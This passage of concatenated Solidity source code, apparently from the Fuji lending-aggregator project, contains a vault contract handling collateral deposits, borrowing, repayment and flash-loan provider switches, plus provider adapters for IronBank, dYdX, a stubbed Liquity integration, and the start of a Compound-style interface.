vAssets.borrowAsset = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into balances across all providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface LQTYInterface {}
contract LQTYHelpers {
function _initializeTrouve() internal {
//TODO function
}
}
contract ProviderLQTY is IProvider, LQTYHelpers {
using SafeMath for uint256;
using UniERC20 for IERC20;
function deposit(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function borrow(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function withdraw(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function payback(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function getBorrowRateFor(address asset) external view override returns (uint256) {
asset;
//TODO
return 0;
}
function getBorrowBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
_asset;
_who;
//TODO
return 0;
}
function getDepositBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCyToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface IWeth is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
interface ICyErc20 is IGenCyToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cyTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x17525aFdb24D24ABfF18108E7319b93012f3AD24;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB;
}
//IronBank functions
/**
* @dev Approves vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cyTokenMarkets = new address[](1);
cyTokenMarkets[0] = _cyTokenAddress;
comptroller.enterMarkets(cyTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cyTokenAddress);
}
}
contract ProviderIronBank is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cyTokenAddr);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cyTokenAddr), _amount);
// IronBank Protocol mints cyTokens, trhow error if not
require(cyToken.mint(_amount) == 0, "Deposit-failed");
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//IronBank Protocol Redeem Process, throw errow if not.
require(cyToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cyTokenAddr);
//IronBank Protocol Borrow Process, throw errow if not.
require(cyToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cyTokenAddr), _amount);
cyToken.repayBorrow(_amount);
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: IronBank uses base 1e18
uint256 bRateperBlock = (IGenCyToken(cyTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the IronBank interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get IronBank borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cyTokenBal = IGenCyToken(cyTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCyToken(cyTokenAddr).exchangeRateStored();
return exRate.mul(cyTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IWethERC20 is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
interface SoloMarginContract {
struct Info {
address owner;
uint256 number;
}
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
struct Rate {
uint256 value;
}
enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call }
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Wei {
bool sign;
uint256 value;
}
function operate(Info[] calldata _accounts, ActionArgs[] calldata _actions) external;
function getAccountWei(Info calldata _account, uint256 _marketId)
external
view
returns (Wei memory);
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 _marketId) external view returns (address);
function getAccountValues(Info memory _account)
external
view
returns (Value memory, Value memory);
function getMarketInterestRate(uint256 _marketId) external view returns (Rate memory);
}
contract HelperFunct {
/**
* @dev get Dydx Solo Address
*/
function getDydxAddress() public pure returns (address addr) {
addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
}
/**
* @dev get WETH address
*/
function getWETHAddr() public pure returns (address weth) {
weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
/**
* @dev Return ethereum address
*/
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Get Dydx Market ID from token Address
*/
function _getMarketId(SoloMarginContract _solo, address _token)
internal
view
returns (uint256 _marketId)
{
uint256 markets = _solo.getNumMarkets();
address token = _token == _getEthAddr() ? getWETHAddr() : _token;
bool check = false;
for (uint256 i = 0; i < markets; i++) {
if (token == _solo.getMarketTokenAddress(i)) {
_marketId = i;
check = true;
break;
}
}
require(check, "DYDX Market doesnt exist!");
}
/**
* @dev Get Dydx Acccount arg
*/
function _getAccountArgs() internal view returns (SoloMarginContract.Info[] memory) {
SoloMarginContract.Info[] memory accounts = new SoloMarginContract.Info[](1);
accounts[0] = (SoloMarginContract.Info(address(this), 0));
return accounts;
}
/**
* @dev Get Dydx Actions args.
*/
function _getActionsArgs(
uint256 _marketId,
uint256 _amt,
bool _sign
) internal view returns (SoloMarginContract.ActionArgs[] memory) {
SoloMarginContract.ActionArgs[] memory actions = new SoloMarginContract.ActionArgs[](1);
SoloMarginContract.AssetAmount memory amount =
SoloMarginContract.AssetAmount(
_sign,
SoloMarginContract.AssetDenomination.Wei,
SoloMarginContract.AssetReference.Delta,
_amt
);
bytes memory empty;
SoloMarginContract.ActionType action =
_sign ? SoloMarginContract.ActionType.Deposit : SoloMarginContract.ActionType.Withdraw;
actions[0] = SoloMarginContract.ActionArgs(
action,
0,
amount,
_marketId,
0,
address(this),
0,
empty
);
return actions;
}
}
contract ProviderDYDX is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
bool public donothing = true;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(tweth), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(_asset), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Rate memory _rate = dydxContract.getMarketInterestRate(marketId);
return (_rate.value).mul(1e9).mul(365 days);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
* @param _who: address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: _who, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface ICErc20 is IGenCToken {
function mint(uint256) external returns (uint256);
